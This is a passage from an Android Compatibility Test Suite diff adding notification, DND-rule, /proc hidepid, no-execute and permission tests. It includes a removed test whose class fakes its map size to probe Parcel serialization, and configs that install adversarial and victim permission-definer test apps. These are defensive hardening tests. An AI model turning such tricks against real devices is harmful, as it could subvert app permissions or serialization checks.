+                    InstrumentationRegistry.getInstrumentation(), false);
+            pollForConnection(LegacyConditionProviderService.class, false);
+            pollForConnection(SecondaryConditionProviderService.class, false);
+        }
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_addsNewRule() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure service get bound
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        final ComponentName cn = SecondaryConditionProviderService.getId();
+
+        // add rule
+        addRule(cn, INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind service
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // add a new rule
+        addRule(cn, INTERRUPTION_FILTER_NONE, true);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_otherConditionChanges() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure both services get bound
+        pollForConnection(LegacyConditionProviderService.class, true);
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        // add rules for both
+        addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+        pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind one of the services
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // trigger a change in the bound service's condition
+        ((LegacyConditionProviderService) LegacyConditionProviderService.getInstance())
+                .toggleDND(false);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    @Test
+    public void testUnboundCPSMaintainsCondition_otherProviderRuleChanges() throws Exception {
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
+        // make sure both services get bound
+        pollForConnection(LegacyConditionProviderService.class, true);
+        pollForConnection(SecondaryConditionProviderService.class, true);
+
+        // add rules for both
+        addRule(LegacyConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, true);
+        pollForSubscribe(LegacyConditionProviderService.getInstance());
+
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_ALARMS, true);
+        pollForSubscribe(SecondaryConditionProviderService.getInstance());
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // unbind one of the services
+        SecondaryConditionProviderService.getInstance().requestUnbind();
+
+        // verify that DND state doesn't change
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+
+        // trigger a change in the bound service's rule
+        addRule(SecondaryConditionProviderService.getId(), INTERRUPTION_FILTER_PRIORITY, false);
+
+        // verify that the unbound service maintains it's DND vote
+        assertEquals(INTERRUPTION_FILTER_ALARMS, mNm.getCurrentInterruptionFilter());
+    }
+
+    private void addRule(ComponentName cn, int filter, boolean enabled) {
+        String id = mNm.addAutomaticZenRule(new AutomaticZenRule("name",
+                cn, Uri.EMPTY, filter, enabled));
+        Log.d(TAG, "Created rule with id " + id);
+        ids.add(id);
+    }
+
+    private void toggleNotificationPolicyAccess(String packageName,
+            Instrumentation instrumentation, boolean on) throws IOException {
+
+        String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
+
+        runCommand(command, instrumentation);
+
+        NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+        Assert.assertEquals("Notification Policy Access Grant is " +
+                        nm.isNotificationPolicyAccessGranted() + " not " + on, on,
+                nm.isNotificationPolicyAccessGranted());
+    }
+
+    private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+        UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        // Execute command
+        try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
+            Assert.assertNotNull("Failed to execute shell command: " + command, fd);
+            // Wait for the command to finish by reading until EOF
+            try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+                byte[] buffer = new byte[4096];
+                while (in.read(buffer) > 0) {}
+            } catch (IOException e) {
+                throw new IOException("Could not read stdout of command: " + command, e);
+            }
+        } finally {
+            uiAutomation.destroy();
+        }
+    }
+
+    private void pollForSubscribe(PollableConditionProviderService service)  throws Exception {
+        int tries = 30;
+        int delayMs = 200;
+
+        while (tries-- > 0 && !service.subscribed) {
+            try {
+                Thread.sleep(delayMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+
+        if (!service.subscribed) {
+            Log.d(TAG, "not subscribed");
+            throw new Exception("Service never got onSubscribe()");
+        }
+    }
+
+    private void pollForConnection(Class<? extends PollableConditionProviderService> service,
+            boolean waitForConnection) throws Exception {
+        int tries = 100;
+        int delayMs = 200;
+
+        PollableConditionProviderService instance =
+                (PollableConditionProviderService) service.getMethod("getInstance").invoke(null);
+
+        while (tries-- > 0 && (waitForConnection ? instance == null : instance != null)) {
+            try {
+                Thread.sleep(delayMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            instance = (PollableConditionProviderService) service.getMethod("getInstance")
+                    .invoke(null);
+        }
+
+        if (waitForConnection && instance == null) {
+            Log.d(TAG, service.getName() + " not bound");
+            throw new Exception("CPS never bound");
+        } else if (!waitForConnection && instance != null) {
+            Log.d(TAG, service.getName() + " still bound");
+            throw new Exception("CPS still bound");
+        } else {
+            Log.d(TAG, service.getName() + " has a correct bind state");
+        }
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
new file mode 100644
index 0000000..72d5d3e
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyConditionProviderService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+import android.service.notification.Condition;
+
+public class LegacyConditionProviderService extends PollableConditionProviderService {
+    private static PollableConditionProviderService sInstance = null;
+
+    public static ComponentName getId() {
+        return new ComponentName(LegacyConditionProviderService.class.getPackage().getName(),
+                LegacyConditionProviderService.class.getName());
+    }
+
+    public static PollableConditionProviderService getInstance() {
+        return sInstance;
+    }
+
+    @Override
+    public void onConnected() {
+        super.onConnected();
+        sInstance = this;
+    }
+
+    @Override
+    public void onDestroy() {
+        sInstance = null;
+        super.onDestroy();
+    }
+
+    public void toggleDND(boolean on) {
+        notifyCondition(
+                new Condition(conditionId, "", on ? Condition.STATE_TRUE : Condition.STATE_FALSE));
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 69103c8..528d66f 100644
--- a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -46,6 +46,7 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -79,6 +80,12 @@
         mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
     }
 
+    @After
+    public void tearDown() throws Exception {
+        toggleListenerAccess(MockNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), false);
+    }
+
     @Test
     public void testPrePCannotToggleAlarmsAndMediaTest() throws Exception {
         if (mActivityManager.isLowRamDevice()) {
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
new file mode 100644
index 0000000..226c96f
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/PollableConditionProviderService.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.net.Uri;
+import android.service.notification.Condition;
+import android.service.notification.ConditionProviderService;
+import android.util.Log;
+
+public abstract class PollableConditionProviderService extends ConditionProviderService {
+    final static String TAG = "CtsCps";
+
+    boolean isConnected;
+    boolean subscribed;
+    Uri conditionId;
+
+    @Override
+    public void onConnected() {
+        Log.d(TAG, getClass().getName() + " Connected");
+        isConnected = true;
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(TAG, getClass().getName() + " Destroyed");
+        isConnected = false;
+        super.onDestroy();
+    }
+
+    @Override
+    public void onSubscribe(Uri conditionId) {
+        Log.d(TAG, getClass().getName() + " got subscribe");
+        subscribed = true;
+        this.conditionId = conditionId;
+        notifyCondition(new Condition(conditionId, "", Condition.STATE_TRUE));
+    }
+
+    @Override
+    public void onUnsubscribe(Uri conditionId) {
+        Log.d(TAG, getClass().getName() + " got unsubscribe");
+        subscribed = false;
+        this.conditionId = null;
+    }
+}
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
new file mode 100644
index 0000000..2310a30
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/SecondaryConditionProviderService.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.notification.legacy.cts;
+
+import android.content.ComponentName;
+
+public class SecondaryConditionProviderService extends PollableConditionProviderService {
+    private static PollableConditionProviderService sInstance = null;
+
+    public static ComponentName getId() {
+        return new ComponentName(SecondaryConditionProviderService.class.getPackage().getName(),
+                SecondaryConditionProviderService.class.getName());
+    }
+
+    public static PollableConditionProviderService getInstance() {
+        return sInstance;
+    }
+
+    @Override
+    public void onConnected() {
+        super.onConnected();
+        sInstance = this;
+    }
+
+    @Override
+    public void onDestroy() {
+        sInstance = null;
+        super.onDestroy();
+    }
+
+}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 9cd0b87..5ab51d8 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -56,6 +56,8 @@
 # Do not compress minijail policy files.
 LOCAL_AAPT_FLAGS := -0 .policy
 
+LOCAL_USE_AAPT2 := true
+
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index f11c82a..73c52c3 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1 +1 @@
-9
\ No newline at end of file
+Q
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 6f259c3..4922d4a 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -68,6 +68,28 @@
     }
 
     /**
+     * verify hidepid=2 on /proc
+     */
+    public void testHidePid2() throws Exception {
+        try (BufferedReader br = new BufferedReader(new FileReader("/proc/mounts"))) {
+            String line;
+            while ((line = br.readLine()) != null) {
+                final String[] fields = line.split(" ");
+                final String source = fields[0];
+                final String options = fields[3];
+
+                if (source.equals("proc") && !options.contains("hidepid=2")) {
+                    fail("proc filesystem mounted without hidepid=2");
+                }
+            }
+        }
+    }
+
+    public void testHidePid2_direct() throws Exception {
+        assertFalse(new File("/proc/1").exists());
+    }
+
+    /**
      * Verify that all writable block filesystems are mounted with "resgid" to
      * mitigate disk-full trouble.
      */
@@ -81,14 +103,17 @@
         // inodes can result in wasted space.
         final long maxsize = stat.f_blocks * stat.f_frsize;
         final long maxInodes = maxsize / 4096;
-        final long minsize = stat.f_bavail * stat.f_frsize;
-        final long minInodes = minsize / 32768;
+        // Assuming the smallest storage would be 4GB, min # of free inodes
+        // in EXT4/F2FS must be larger than 128k for Android to work properly.
+        final long minInodes = 128 * 1024;
 
-        if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes) {
+        if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes
+            && stat.f_favail <= stat.f_ffree) {
             // Sweet, sounds great!
         } else {
-            fail("Number of inodes " + stat.f_ffree + " not within sane range for partition of "
-                    + minsize + "," + maxsize + " bytes; expected [" + minInodes + "," + maxInodes + "]");
+            fail("Number of inodes " + stat.f_ffree + "/" + stat.f_favail
+              + " not within sane range for partition of " + maxsize + " bytes; expected ["
+              + minInodes + "," + maxInodes + "]");
         }
     }
 }
diff --git a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
index b2d6e89..930bcc6 100644
--- a/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
+++ b/tests/tests/os/src/android/os/cts/NoExecutePermissionTest.java
@@ -35,35 +35,13 @@
     }
 
     public void testNoExecuteStack() {
-        if (!cpuHasNxSupport()) {
-            return;
-        }
         assertFalse(isStackExecutable());
     }
 
     public void testNoExecuteHeap() {
-        if (!cpuHasNxSupport()) {
-            return;
-        }
         assertFalse(isHeapExecutable());
     }
 
-    private static boolean cpuHasNxSupport() {
-        if (CpuFeatures.isArmCpu() && !CpuFeatures.isArm7Compatible()) {
-            // ARM processors before v7 do not have NX support.
-            // http://code.google.com/p/android/issues/detail?id=17328
-            return false;
-        }
-        if (CpuFeatures.isMipsCpu()) {
-            // MIPS processors do not have NX support.
-            return false;
-        }
-
-        // TODO: handle other processors.  For now, assume those processors
-        // have NX support.
-        return true;
-    }
-
     private static native boolean isStackExecutable();
     private static native boolean isHeapExecutable();
 }
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java
index 2ae5645..12494e5 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptor_AutoCloseOutputStreamTest.java
@@ -16,7 +16,11 @@
 
 package android.os.cts;
 
+import java.io.FileOutputStream;
 import java.io.IOException;
+import java.lang.ref.Reference;
+import java.nio.channels.FileLock;
+
 import android.os.ParcelFileDescriptor;
 import android.os.ParcelFileDescriptor.AutoCloseOutputStream;
 import android.test.AndroidTestCase;
@@ -38,4 +42,15 @@
             // expected
         }
     }
+
+    public void testCloseOrdering() throws Exception {
+        // b/118316956: Make sure that we close the OutputStream before we close the PFD.
+        ParcelFileDescriptor pfd = ParcelFileDescriptorTest.makeParcelFileDescriptor(getContext());
+        FileLock l = null;
+        try (FileOutputStream out = new AutoCloseOutputStream(pfd)) {
+            l = out.getChannel().lock();
+        } finally {
+            Reference.reachabilityFence(l);
+        }
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 987ab00..7645477 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,11 +19,7 @@
 import java.io.FileDescriptor;
 import java.io.Serializable;
 import java.util.ArrayList;
-import java.util.Collection;
 import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.Set;
 
 import android.content.pm.Signature;
 import android.os.BadParcelableException;
@@ -3230,57 +3226,28 @@
         assertEquals(56, list.get(1).getValue());
     }
 
-    public void testMaliciousMapWrite() {
-        class MaliciousMap<K, V> extends HashMap<K, V> {
-            public int fakeSize = 0;
-            public boolean armed = false;
-
-            class FakeEntrySet extends HashSet<Entry<K, V>> {
-                public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
-                    super(c);
-                }
-
-                @Override
-                public int size() {
-                    if (armed) {
-                        // Only return fake size on next call, to mitigate unexpected behavior.
-                        armed = false;
-                        return fakeSize;
-                    } else {
-                        return super.size();
-                    }
-                }
-            }
-
-            @Override
-            public Set<Map.Entry<K, V>> entrySet() {
-                return new FakeEntrySet(super.entrySet());
-            }
-        }
-
+    // http://b/35384981
+    public void testCreateArrayWithTruncatedParcel() {
         Parcel parcel = Parcel.obtain();
+        parcel.writeByteArray(new byte[] { 'a', 'b' });
+        byte[] marshalled = parcel.marshall();
 
-        // Fake having more Map entries than there really are
-        MaliciousMap map = new MaliciousMap<String, String>();
-        map.fakeSize = 1;
-        map.armed = true;
-        try {
-            parcel.writeMap(map);
-            fail("Should have thrown a BadParcelableException");
-        } catch (BadParcelableException bpe) {
-            // good
-        }
+        // Test that createByteArray returns null with a truncated parcel.
+        parcel = Parcel.obtain();
+        parcel.unmarshall(marshalled, 0, marshalled.length);
+        parcel.setDataPosition(0);
+        // Shorten the data size by 2 to remove padding at the end of the array.
+        parcel.setDataSize(marshalled.length - 2);
+        assertNull(parcel.createByteArray());
 
-        // Fake having fewer Map entries than there really are
-        map = new MaliciousMap<String, String>();
-        map.put("key", "value");
-        map.fakeSize = 0;
-        map.armed = true;
+        // Test that readByteArray returns null with a truncated parcel.
+        parcel = Parcel.obtain();
+        parcel.unmarshall(marshalled, 0, marshalled.length);
+        parcel.setDataSize(marshalled.length - 2);
         try {
-            parcel.writeMap(map);
-            fail("Should have thrown a BadParcelableException");
-        } catch (BadParcelableException bpe) {
-            // good
+            parcel.readByteArray(new byte[2]);
+            fail();
+        } catch (RuntimeException expected) {
         }
     }
 }
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index dc868fc..a316e24 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -421,6 +421,16 @@
     }
 
     @Test
+    public void testExplicitGc() throws Exception {
+        StrictMode.setThreadPolicy(
+                new StrictMode.ThreadPolicy.Builder().detectExplicitGc().penaltyLog().build());
+
+        inspectViolation(
+                () -> { Runtime.getRuntime().gc(); },
+                violation -> assertPolicy(violation, StrictMode.DETECT_EXPLICIT_GC));
+    }
+
+    @Test
     public void testViolationAcrossBinder() throws Exception {
         runWithRemoteServiceBound(
                 getContext(),
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.mk b/tests/tests/packageinstaller/emptytestapp/Android.mk
index 7574d1f..4763e01 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.mk
+++ b/tests/tests/packageinstaller/emptytestapp/Android.mk
@@ -23,6 +23,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 23
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index c516a60..f845462 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -33,11 +33,17 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAppThatRequestsPermissionAandB.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsPermissionAandB.apk" />
         <option name="push" value="CtsAppThatRequestsPermissionAandC.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsPermissionAandC.apk" />
+        <option name="push" value="CtsAdversarialPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionUserApp.apk" />
+        <option name="push" value="CtsAdversarialPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsAdversarialPermissionDefinerApp.apk" />
+        <option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="teardown-command" value="pm uninstall android.permission.cts.appthatrequestpermission" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp" />
+        <option name="teardown-command" value="pm uninstall android.permission.cts.revokepermissionwhenremoved.userapp" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index 96b7506..bfa8b67 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -28,7 +28,6 @@
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) 
 
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
-LOCAL_CPPFLAGS := -std=gnu++11
 LOCAL_CXX_STL := libc++_static
 
 LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
diff --git a/tests/tests/permission/sdk28/Android.mk b/tests/tests/permission/sdk28/Android.mk
new file mode 100644
index 0000000..f968393
--- /dev/null
+++ b/tests/tests/permission/sdk28/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsPermissionTestCasesSdk28
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SDK_VERSION := 28
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/sdk28/AndroidManifest.xml b/tests/tests/permission/sdk28/AndroidManifest.xml
new file mode 100644
index 0000000..76b8754
--- /dev/null
+++ b/tests/tests/permission/sdk28/AndroidManifest.xml
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.sdk28">
+
+    <uses-sdk android:minSdkVersion="3"
+        android:targetSdkVersion="28"
+        android:maxSdkVersion="28" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.permission.cts.PermissionStubActivity"
+                  android:label="PermissionStubActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <!--
+        The CTS stubs package cannot be used as the target application here,
+        since that requires many permissions to be set. Instead, specify this
+        package itself as the target and include any stub activities needed.
+
+        This test package uses the default InstrumentationTestRunner, because
+        the InstrumentationCtsTestRunner is only available in the stubs
+        package. That runner cannot be added to this package either, since it
+        relies on hidden APIs.
+    -->
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.permission.cts.sdk28"
+                     android:label="CTS tests of legacy android permissions as of API 28">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/permission/sdk28/AndroidTest.xml b/tests/tests/permission/sdk28/AndroidTest.xml
new file mode 100644
index 0000000..a4775d6
--- /dev/null
+++ b/tests/tests/permission/sdk28/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Permission test cases for TargetSdk 28">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsPermissionTestCasesSdk28.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.permission.cts.sdk28" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/permission/sdk28/res/values/strings.xml b/tests/tests/permission/sdk28/res/values/strings.xml
new file mode 100644
index 0000000..9cc70f9
--- /dev/null
+++ b/tests/tests/permission/sdk28/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="sdk28">SDK Level 28</string>
+</resources>
diff --git a/tests/tests/permission/sdk28/src/android/permission/cts/sdk28/RequestLocation.java b/tests/tests/permission/sdk28/src/android/permission/cts/sdk28/RequestLocation.java
new file mode 100644
index 0000000..3e96806
--- /dev/null
+++ b/tests/tests/permission/sdk28/src/android/permission/cts/sdk28/RequestLocation.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.sdk28;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class RequestLocation {
+
